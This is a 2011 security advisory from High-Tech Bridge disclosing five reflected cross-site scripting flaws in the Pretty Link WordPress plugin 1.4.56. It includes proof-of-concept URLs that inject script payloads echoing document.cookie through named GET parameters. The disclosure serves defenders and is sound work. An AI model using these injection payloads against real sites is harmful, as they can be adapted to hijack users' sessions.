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Multiple vulnerabilities in Pretty Link WordPress Plugin
From: advisory () htbridge ch
Date: Wed, 12 Oct 2011 16:41:46 +0200 (CEST)

Vulnerability ID: HTB23049
Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_pretty_link_wordpress_plugin.html
Product: Pretty Link WordPress Plugin
Vendor: Caseproof  ( http://blairwilliams.com/ ) 
Vulnerable Version: 1.4.56 and probably prior
Tested Version: 1.4.56
Vendor Notification: 21 September 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Pretty Link WordPress Plugin, 
which can be exploited to perform cross-site scripting attacks.

1) Input passed via the "min_date" GET parameter to /wp-content/plugins/pretty-link/classes/views/prli-clicks/head.php 
is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected 
website.

The following PoC code is available:

http://[host]/wp-content/plugins/pretty-link/classes/views/prli-clicks/head.php?min_date=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerability requires that "register_globals" is enabled.

2) Input passed via the "message" GET parameter to 
/wp-content/plugins/pretty-link/classes/views/prli-dashboard-widget/widget.php is not properly sanitised before being 
returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected 
website.

The following PoC code is available:

http://[host]/wp-content/plugins/pretty-link/classes/views/prli-dashboard-widget/widget.php?message=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerability requires that "register_globals" is enabled.

3) Input passed via the "prli_blogurl", "values" GET parameters to 
/wp-content/plugins/pretty-link/classes/views/prli-links/form.php is not properly sanitised before being returned to 
the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected 
website.

The following PoC code is available:

http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?prli_blogurl=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[slug]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[name]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[description]=%3C/textarea%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[redirect_type][307]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[redirect_type][301]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerability requires that "register_globals" is enabled.

4) Input passed via the "errors" GET parameter to /wp-content/plugins/pretty-link/classes/views/shared/errors.php is 
not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected 
website.

The following PoC code is available:

http://[host]/wp-content/plugins/pretty-link/classes/views/shared/errors.php?errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerability requires that "register_globals" is enabled.

5) Input passed via the "page_first_record", "page_last_record", "record_count", "controller_file", "page_params" GET 
parameters to /wp-content/plugins/pretty-link/classes/views/shared/table-nav.php is not properly sanitised before being 
returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected 
website.

The following PoC code is available:

http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&page_first_record=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&page_last_record=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&record_count=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&current_page=2&controller_file=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&current_page=2&page_params=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerability requires that "register_globals" is enabled.


Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest 
version of the Advisory is available on the web page in Reference field.


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